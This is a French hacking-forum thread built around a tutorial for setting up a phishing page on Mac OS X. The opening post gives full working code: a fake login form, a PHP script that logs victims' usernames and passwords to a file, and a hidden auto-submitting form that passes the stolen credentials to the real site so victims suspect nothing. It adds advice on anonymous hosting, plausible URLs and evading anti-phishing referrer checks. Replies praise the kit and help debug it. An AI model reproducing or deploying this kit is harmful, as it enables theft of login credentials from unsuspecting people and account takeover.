Annonce

Rduire
Aucune annonce.

Phishing avanc

Rduire
X
 
  • Filtre
  • Heure
  • Afficher
Tout nettoyer
nouveaux messages

  • Phishing avanc

    Dmonstration de phishing : ce tutoriel est strict but ducatif.

    Tout d'abord, le phishing comporte une grande part de "social engineering" car il faut mettre en confiance la victime pour l'amener se connecter sur un site contrefait o ses donnes confidentielles (login, mot de passe...) seront rcupres sans qu'elle se doute de rien... Autrement dit, le phishing, pour russir, a besoin de la participation active de la victime.

    Dans ce tutoriel, nous ne nous intresserons qu' l'aspect technique de la chose, savoir la rcupration des donnes.

    Ce tutoriel est ralis sous Mac OS X ; il peut cependant tre mallable aux autres OS partir de la Partie II.

    Nous allons tout d'abord crer un petit formulaire type "login/password" qui enregistrera les donnes valides, et les conservera dans un fichier sur un serveur local.

    Note : nous n'avons pas besoin d'une base de donnes car le PHP nous permet d'crire directement dans un fichier.

    La mthode la plus simple est d'activer le serveur Apache qui est install par dfaut sur Mac OS X. Si vous avez dj un serveur local (Apache, MAMP), passez directement l'ETAPE 2.

    ETAPE 1 - Activation du serveur Apache ou MAMP

    1. Dans la barre de menu du Finder, en haut gauche de votre cran, cliquez sur le menu "Aller" et slectionnez "Aller au dossier".

    2. Une petite fentre s'ouvre alors avec un champ de texte dans lequel vous collez :

    Code:
    /etc/apache2/
    Puis cliquez sur "Aller".

    3. Dans le dossier qui s'ouvre, vous voyez alors un fichier qui s'appelle "httpd.conf".

    C'est ce fichier que nous devons ouvrir pour le modifier. Vous pouvez toujours l'ouvrir en le glissant sur l'icone de TextEdit mais vous ne pourrez pas sauvegarder les modifications, car ce fichier se trouve la racine du systme et il faut avoir les privilges de "root" pour le modifier.

    Je vous conseille d'ouvrir ce fichier avec un diteur de texte. Personnellement, j'utilise TextWrangler, qui est gratuit, trs pratique et que vous trouverez ici :

    http://www.barebones.com/products/textwrangler/ (sur la droite)

    Une fois TextWrangler tlcharg et install, glissez le fichier "httpd.conf" sur son icone pour qu'il s'ouvre avec cette application.

    4. Pour que TextWrangler affiche les numros des lignes, allez dans les prfrences et, dans la colonne de gauche, slectionnez "Text Status Display" (avant-dernier item) puis dans la colonne de droite, tout en bas, cochez la case "Show line numbers" et refermez les prfrences. C'est bien plus pratique comme a !

    Dans le fichier "http.conf", cherchez la ligne :

    Code:
    #LoadModule php5_module libexec/apache2/libphp5.so
    Dcommentez cette ligne, c'est--dire effacez simplement le petit dise (#) qui se trouve au dbut.

    Ensuite, allez la ligne 392 et, entre les lignes :

    Code:
    #AddHandler cgi-script.cgi
    et

    Code:
    # For type maps (negotiated resources)
    ajoutez cette ligne :

    Code:
    AddType application/x-httpd-php .php .php5

    Cette ligne ajoute sert simplement montrer au serveur que les fichiers index.php et index.php5 sont des fichiers par dfaut.

    Une fois le fichier modifi, refermez-le. Lors de l’enregistrement, TextWrangler vous demande votre mot de passe administrateur, ce qui est normal puisque ce fichier est protg.

    Nous allons maintenant faire un test pour voir si le serveur Apache fonctionne. Pour cela, crez un nouveau fichier avec votre diteur de texte et collez simplement ce code sur la page :

    Code:
    <?php
    phpinfo();
    ?>

    Enregistrez ce fichier sous le nom "phpinfo.php" et mettez-le dans le dossier suivant :

    /Library/WebServer/Documents/

    Tous les fichiers du site que nous allons crer se trouveront dans ce dossier "Documents".

    (Attention, le dossier "Bibliothque" dont je parle ici est celui qui se trouve la racine de votre disque dur, et non pas celui qui se trouve dans votre dossier "Users".)

    Ouvrez ensuite les "Prfrences Systme", cliquez sur "Partage" et cochez la case "Partage Web" (si vous n'arrivez pas cocher la case, cliquez sur le petit cadenas en bas gauche de la fentre pour le dverrouiller).

    Cliquez sur le lien http://localhost/phpinfo.php (ou http://127.0.0.1/phpinfo.php), et si votre serveur Apache fonctionne correctement, vous devriez voir s'afficher le tableau de configuration de PHP.

    ETAPE 2 - Prparation des fichiers

    - crer 3 fichiers :

    1. Cration du formulaire de connexion ;
    2. Cration du script PHP ;
    3. Cration du fichier "log.txt".

    1. Cration du formulaire de connexion

    D'abord, un petit formulaire basique en html du type login/password qui sera la fentre de connexion. Je cre donc un nouveau fichier avec mon diteur de texte, sur lequel je colle le code suivant :

    Code:
    <html>
    <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <title>Le Phishing pour les Nuls</title>
    </head>
    <body>
    <form action="script.php" method="post">
    <table align="center" border="0">
    <tr>
    <td>Login :</td>
    <td>
    <input type="text" name="username" id="username" value="" size="25" maxlength="40" />
    </td></tr>
    <script language="JavaScript" type="text/javascript">
    document.getElementById('username').focus();
    </script>
    <tr><td>Password :</td>
    <td><input type="password" name="password" value="" size="25" maxlength="32" /></td></tr>
    <tr>
    <td colspan="2" align="center">
    <br><input type="submit" value="Envoi">
    </td></tr>
    </table>
    </form>
    </body>
    </html>
    Je sauvegarde ce fichier sous le nom "index.html" dans le dossier "Documents" (pour moi, dans "Sites" > "phishing").

    Si votre serveur est activ, en cliquant sur le lien http://localhost (pour moi : http://localhost:8888/phishing/index.html ), vous devriez voir deux champs (login/pwd).

    Dans le code de ce formulaire, on remarquera particulirement cette ligne :

    Code:
    <form action="script.php" method="post">
    Cela signifie que les donnes du formulaire seront envoyes vers le fichier "script.php" qui sera conserv dans le mme rpertoire. C'est ce fichier que nous allons maintenant crer.

    Quant au javascript, il sert simplement donner le focus au champ "username" l'ouverture de la page. Il n'est d'ailleurs pas indispensable.

    2. Cration du script PHP

    Avec l'diteur de texte, j'ouvre un nouveau fichier dans lequel je colle le code suivant :

    Code:
    <?php // Ce script va ouvrir un fichier log.txt, inscrire les donnes du formulaire et refermer le fichier.
    $fp = fopen ("log.txt", "a");
    fputs($fp, "\n");
    fputs ($fp, "login : ".$_POST['username']);
    fputs ($fp, " / password : ".$_POST['password']);
    fclose ($fp);
    ?>
    <?php // Ce script va faire une redirection automatique vers l'adresse de mon choix (ici : developer.yahoo.com/hacku)
    header('Location: http://developer.yahoo.com/hacku/index.html'); // dans mon cas http://www.facebook.com
    exit;
    ?>
    Prenez garde qu'il n'y ait pas d'espace en haut de la page, ni de code html, sinon la redirection "header" ne fonctionnera pas !

    Je sauvegarde ce fichier sous le nom "script.php" dans le dossier "Documents".

    Le premier script va crire les donnes collectes dans un fichier "log.txt" sous la forme :

    login : login de la victime 1 / password : mot de passe de la victime 1
    login : login de la victime 2 / password : mot de passe de la victime 2
    etc...

    Ce fichier sera bien sr conserv sur le serveur local et je pourrai le consulter tout moment !

    Le deuxime script est une simple redirection en PHP vers la page de mon choix.

    Quand la victime aura cliqu sur le bouton "envoi" du formulaire, elle sera immdiatement redirige vers cette page sans s'apercevoir que ses donnes auront t entre-temps stockes sur mon serveur !

    3. Cration du fichier "log.txt"

    Ce fichier est le plus simple crer puisqu'il ne contient... rien. Il sera simplement destin collecter les donnes de connexion.

    Je cre donc un fichier vide, que je sauvegarde dans le dossier "Documents" sous le nom "log.txt".

    Si vous le crez avec TextEdit, convertissez-le en "format texte", sinon a ne marche pas !

    Les 3 fichiers ont maintenant t crs. Il ne reste plus qu' vrifier leur fonctionnement !

    Mais avant toute chose, pour viter un message d'erreur portant sur les autorisations, revenez dans le dossier "Documents", faites un clic droit sur chacun de ces fichiers, slectionnez "lire les informations", cliquez sur le petit cadenas en bas droite de la fentre et modifiez les autorisations en choisissant "Lecture et criture" pour chacune des catgories d'utilisateurs.

    Vous pouvez maintenant tester le formulaire en cliquant sur votre adresse locale : http://127.0.0.1 ou http://localhost . Il faut bien sr que votre serveur soit activ !

    Depuis internet, votre site sera accessible partir de l'adresse :

    http://votre_adresse_ip

    Si votre firewall est activ, pensez ouvrir le port 80 ; si vous voulez que votre serveur soit accessible, pensez galement faire un port mapping sur le port 80 en vous connectant l'interface web de votre routeur.

    Quand le formulaire s'affiche l'cran, remplissez-le avec les donnes que vous voulez et validez. Si tout fonctionne bien, vous serez redirig vers la page "Hack U" de Yahoo! et vous pourrez vrifier ensuite que ces donnes ont bien t enregistres dans le fichier "log.txt".

    Dans cet exemple trs basique, les login et password de la victime sont simplement intercepts par le serveur hbergeant le formulaire, et la victime va tre redirige vers une page de mon choix. Autrement dit, le fait de valider le formulaire en cliquant sur "envoi" ne va pas, en ralit, lui permettre de se connecter dans l'"espace membres" d'un site ni sur sa bote e-mail ! Si elle a fait une erreur de frappe en entrant ses donnes, il n'y aura aucun message d'erreur, ce qui peut videmment lui mettre la puce l'oreille !

    Mais, mme sous cette forme rudimentaire, le pige peut dj fonctionner.

    ETAPE 3 - Rcuprer les donnes du formulaire et connecter la victime sur un serveur distant

    Allons maintenant un peu plus loin. Je veux qu'en validant le formulaire, la victime se connecte rellement sur un site. Il suffira pour cela d'apporter quelques modifications mes fichiers.

    Pour le test, je veux que ceux qui remplissent le formulaire hberg sur mon serveur local, aprs avoir entr leur nom d'utilisateur et leur mot de passe de membres d'un forum quelconque soient, une fois le formulaire valid, redirigs vers ce forum et connects en tant que membres, exactement comme s'ils avaient valid le formulaire sur la page de connexion du site. La seule diffrence, c'est que leurs donnes auront t enregistres sur mon serveur sans qu'ils le sachent !

    Cela peut fonctionner videmment avec toute page de connexion : interface Hotmail, Yahoo!, ou tout "espace membre" d'un site qui ncessite une connexion.

    Je dois d'abord tudier quelles sont les variables PHP dont le serveur-cible a besoin pour tablir la connexion.

    Je peux connatre ces variables en allant sur la page de connexion du site vis et en examinant le code source (clic droit).

    Dans le code source de la page d'accueil du forum que je souhaite phisher (page laquelle je n'accde que si je suis dconnect) je cherche les caractristiques du formulaire de connexion :

    Exemple type (forum_test) :

    Code:
    <form action="/login.forum" method="post" name="form_login"><table width="100%" border="0" cellspacing="2" cellpadding="0" align="center"><tr><td class="nav"><a class="nav" href="/forum.htm">forum_test</a></td></tr></table><table class="forumline" width="100%" border="0" cellspacing="1" cellpadding="4" align="center"><tr><th class="thHead" nowrap="nowrap" height="25">Veuillez entrer votre nom d'utilisateur et votre mot de passe pour vous connecter.</th></tr><tr><td class="row1"><table width="100%" border="0" cellspacing="1" cellpadding="0"><tr><td colspan="2" align="center">&nbsp;</td></tr><tr><td align="right" width="45%"><span class="gen">Nom d'utilisateur:</span></td><td><input type="text" name="username" value="" size="25" maxlength="40" /></td></tr><tr><td align="right"><span class="gen">Mot de passe:</span></td><td><input type="password" name="password" size="25" maxlength="32" /></td></tr><tr align="center"><td colspan="2"><span class="gen">Connexion automatique: <input type="checkbox" name="autologin"checked="checked" /></span></td></tr><tr align="center"><td colspan="2"><input type="hidden" name="redirect" value="" /><input type="hidden" name="query" value="" /><input class="mainoption" type="submit" name="login" value="Connexion" /></td></tr><tr align="center"><td colspan="2"><br /><span class="gensmall"><a class="gensmall" href="profile.forum?mode=register">::&nbsp;S'enregistrer</a>&nbsp;&nbsp;|&nbsp;&nbsp;<a class="gensmall" href="/profile.forum?mode=sendpassword">::&nbsp;Rcuprer mon mot de passe</a></span></td></tr></table></td></tr></table></form>
    Dans ce code, je repre d'abord la balise "form" :

    Code:
    <form action="/login.forum" method="post" name="form_login">
    Elle nous indique que la validation du formulaire va envoyer les variables sur la page "login.forum", dont le chemin absolu est "http://www.forum_test/login.forum".

    Je regarde ensuite quelles sont les variables ou les chanes de caractres traites par le serveur en examinant les balises "input". Il y en a 6 :

    Code:
    <input type="text" name="username" value="" size="25" maxlength="40" />
    <input type="password" name="password" size="25" maxlength="32" />
    <input type="checkbox" name="autologin"checked="checked" />
    <input type="hidden" name="redirect" value="" />
    <input type="hidden" name="query" value="" />
    <input class="mainoption" type="submit" name="login" value="Connexion" />

    J'ouvre maintenant le fichier "script.php" pour le modifier.

    Dans la partie du script destine inscrire les donnes dans le fichier "log.txt", je vois que les variables sont dclares par les noms "username" et "password". Ces noms tant les mmes que ceux qui sont utiliss sur la page de connexion du forum, il n'y aura pas besoin de les modifier.

    En revanche, la redirection n'ayant plus lieu d'tre, je supprime cette partie :

    Code:
    <?php
    header('Location: http://developer.yahoo.com/fhacku/index.html');
    exit;
    ?>

    Il me reste maintenant crire le code pour envoyer les variables sur la page de connexion du serveur-cible o elles seront traites.

    Pour envoyer ces variables, je vais utiliser un formulaire invisible, c'est--dire un formulaire dont toutes les variables seront caches ("hidden").

    Dclaration du formulaire :

    Code:
    <form action="http://www.forum_test.com/login.forum" method="post" name="form_login" id="hack">

    Ici, j'ai simplement repris la balise du code source de la page de connexion du serveur-cible en apportant 2 modifications :

    - J'ai modifi le chemin relatif (/login.forum) en chemin absolu (http://www.forum_test.com/login.forum).
    - J'ai ajout un identifiant (hack) cette balise, car j'aurai besoin un peu plus loin de l'appeler depuis un javascript.

    J'ajoute maintenant les balises "input" dans lesquelles j'inclus les variables PHP dclares pour le login et le mot de passe de la victime qui seront envoyes au serveur-cible pour tablir la connexion :

    Code:
    <input type="hidden" name="username" value="<?php echo $_POST['username']; ?>" />
    <input type="hidden" name="password" value="<?php echo $_POST['password']; ?>" />
    Enfin, j'ajoute les 4 autres balises "input" qui peuvent tre utiles au serveur-cible afin de traiter l'information :

    Code:
    <input type="hidden" name="autologin"checked="checked" />
    <input type="hidden" name="redirect" value="" />
    <input type="hidden" name="query" value="" />
    <input class="mainoption" type="hidden" name="login" value="Connexion" />
    </form>
    On constate que j'ai modifi le type de toutes ces balises en "hidden" afin qu'elles soient caches.

    Encore faut-il maintenant que ce formulaire puisse tre envoy ! Je ne peux videmment pas mettre un bouton "envoi" sur ce script, puisque la victime a dj cliqu une fois sur le bouton "envoi" depuis la page "index.html".

    Je vais donc ici utiliser un javascript qui va envoyer automatiquement les variables lors du chargement de la page :

    Code:
    <script type="text/javascript">
    function envoi () {
    var frm = document.getElementById("hack");
    frm.submit();
    }
    window.onload = envoi;
    </script>
    Ce script va donc appeler le formulaire auquel j'ai attribu plus haut l'identifiant "hack" et l'envoyer ds le chargement de la page.

    Voici donc, pour rsumer, le nouveau fichier "script.php" une fois modifi :

    Code:
    <?php // Ce script va ouvrir un fichier log.txt, inscrire les donnes du formulaire et refermer le fichier.
    $fp = fopen ("log.txt", "a");
    fputs($fp, "\n");
    fputs ($fp, "login : ".$_POST['username']);
    fputs ($fp, " / password : ".$_POST['password']);
    fclose ($fp);
    ?>
    <!-- Ce formulaire va envoyer des variables "caches" au serveur cible -->
    <form action="http://www.forum_test.com/login.forum" method="post" name="form_login" id="hack">
    <input type="hidden" name="username" value="<?php echo $_POST['username']; ?>" />
    <input type="hidden" name="password" value="<?php echo $_POST['password']; ?>" />
    <input type="hidden" name="autologin"checked="checked" />
    <input type="hidden" name="redirect" value="" />
    <input type="hidden" name="query" value="" />
    <input class="mainoption" type="hidden" name="login" value="Connexion" />
    </form>
    <!-- Ce script va soumettre automatiquement le formulaire -->
    <script type="text/javascript">
    function envoi () {
    var frm = document.getElementById("hack");
    frm.submit();
    }
    window.onload = envoi;
    </script>

    Il ne me reste plus qu' sauvegarder le fichier ainsi modifi dans le dossier "Documents", et tester le formulaire de connexion en cliquant sur : http://localhost (ou http://127.0.0.1)

    Vous pouvez maintenant entrer vos identifiants ce forum dans le formulaire qui s'affiche l'cran et cliquer sur "envoi".

    Si tout fonctionne, vous devriez maintenant vous retrouver connect ce forum !

    Pour que le test soit probant, il faut bien sr que vous soyez membre du site en question et que vous ne soyez pas dj connect sur le site au moment de l'envoi du formulaire ! Sinon vous n'aurez aucun moyen de vrifier que a marche !

    Un tel script, vous l'aurez compris, peut s'avrer redoutable. Il est trs facile de contrefaire la page de connexion d'un hbergeur de webmail et de rcuprer les adresses e-mail et les mots de passe de victimes qui ne se douteront de rien.

    Comme hbergeur pour votre page de phishing (qu'elle ne soit plus en locale comme dmontr lors de ce tutoriel), je vous conseille des hbergeurs gratuits, videmment, mais surtout anonymes, tels que "t35".

    Il vous suffira de donner un URL crdible votre site de phishing ; URL que vous pourrez modifier par la suite si vous le souhaitez, en procdant un URL rewriting, comme par exemple ici : sur http://www.dot.tk/fr/index.html?lang=fr .

    Des dispositions anti-phishing sont mises en place, comme sur Facebook, mais sont inutiles ; en effet, il suffit simplement de modifier le refferer comme ici

    http://norefer.org/

    Le pharming est une technique de phishing encore plus labore qui permet de rediriger les requtes par de faux adressages DNS. Il suffit de prendre le contrle d'un routeur et d'uploader un faux firmware pour modifier le cache et diriger les requtes d'un site A vers un site B qui sera une contrefaon du premier. Le procd est d'autant plus redoutable qu'il est indcelable ! Mme si l'internaute se mfie et tape l'adresse du site qu'il veut visiter directement dans la barre URL, il sera dirig sans le savoir vers le site contrefait...
    sigpic

    Cyprium Download Link

    Plus j'tudie plus j'me rends compte que je n'sais rien.

    |

  • #2
    le lien http://localhost/phpinfo.php (ou http://127.0.0.1/phpinfo.php) ne s'ouvre pas aidez moi SVP c juste avant la 2 partie

    Commentaire


    • #3
      Tres bien comme tuto!
      Je fais des cours de SSI mon lyce (de mon niveau hein, jai 15ans je suis pas un pro) et je crois que je vais les invitez venir sur ce forum
      Ca change des packs de phising tout pres au tout les kiddies ne comprennent meme pas comment ca marche
      Qu'est-il le plus important ton avis : apprendre par coeur des pages et de pages de livres, ou avoir la capacit de retrouver facilement et rapidement toutes les informations ncessaires ?

      Commentaire


      • #4
        Pas mal, j'y avais jamais penser rediriger directement l'utilisateur.
        a vite d'avoir les mmes ID en double, merci du partage !

        Commentaire


        • #5
          On sent un instinct de black-Hat qui remonte SAKA
          sigpic

          Commentaire


          • #6
            D'ailleurs pour les loggins et mdp c'est par ici
            Qui est le matre, le peintre ou le faussaire... ?

            ㅡ La solidit d'une chaine est gale la solidit de son maillon le plus faible ㅡ

            Commentaire


            • #7
              Attention au Reverse Engineering qui est trs facile si vous ne changez pas le nom du fichier "log.txt" qui reste souvent le mme pour tout le monde, aprs tu tombe sur une page phishing et hop tu rcupre tout le travail d'un autre

              Commentaire


              • #8
                salut je suis en train de suivre un tuto sur ce blog et une etape dit de faire "Ouvrez ensuite les "Prfrences Systme", cliquez sur "Partage" et cochez la case "Partage Web" (si vous n'arrivez pas cocher la case, cliquez sur le petit cadenas en bas gauche de la fentre pour le dverrouiller). " mais je ne trouve pas ce que c'est, il y a bien un dossier partage mais pas de partage web pouvez vous m'aider ?

                Commentaire


                • #9
                  darkbackdoor

                  "Ce tutoriel est ralis sous Mac OS X..."


                  Commentaire


                  • #10
                    oui j'ai trouv si il y en a qui on le mme problme sur OSX vous devez tlecharger "Web Sharking" car ils ont enlev l'option patage Web sur les nouveau MAC

                    ma question suivante est pourquoi il m'affiche se code d'erreur quand je me connecte a la page qu'on a cr pour se loger ?

                    le code :
                    Warning: fopen(log.txt): failed to open stream: Permission denied in /Library/WebServer/Documents/script.php on line 2

                    Warning: fputs() expects parameter 1 to be resource, boolean given in /Library/WebServer/Documents/script.php on line 3

                    Warning: fputs() expects parameter 1 to be resource, boolean given in /Library/WebServer/Documents/script.php on line 4

                    Warning: fputs() expects parameter 1 to be resource, boolean given in /Library/WebServer/Documents/script.php on line 5

                    Warning: fclose() expects parameter 1 to be resource, boolean given in /Library/WebServer/Documents/script.php on line 6

                    Warning: Cannot modify header information - headers already sent by (output started at /Library/WebServer/Documents/script.php:2) in /Library/WebServer/Documents/script.php on line 9

                    Commentaire


                    • #11
                      up

                      Commentaire


                      • #12
                        Envoy par darkbackdoor Voir le message

                        ma question suivante est pourquoi il m'affiche se code d'erreur quand je me connecte a la page qu'on a cr pour se loger ?
                        la rponse est marqu dans ton message:

                        "Warning: fopen(log.txt): failed to open stream: Permission denied in /Library/WebServer/Documents/script.php on line 2"

                        le fichier "script.php" ne peux pas crire dans le fichier "log.txt" car il n'a pas les droits en criture.

                        donc tu ouvre le terminal tu va dans le rpertoire concern et tu fait un chmod 777 sur le fichier en question...

                        ou sinon tu prend le temps de vraiment lire le tuto car c'est marqu noir sur blanc...

                        "Mais avant toute chose, pour viter un message d'erreur portant sur les autorisations, revenez dans le dossier "Documents", faites un clic droit sur chacun de ces fichiers, slectionnez "lire les informations", cliquez sur le petit cadenas en bas droite de la fentre et modifiez les autorisations en choisissant "Lecture et criture" pour chacune des catgories d'utilisateurs."

                        Commentaire


                        • #13
                          Je suis la lettre le tutoriel, hors, au niveau de la partie 2, je ne reois rien dans on fichier .txt, pourquoi ?

                          Commentaire

                          Chargement...
                          X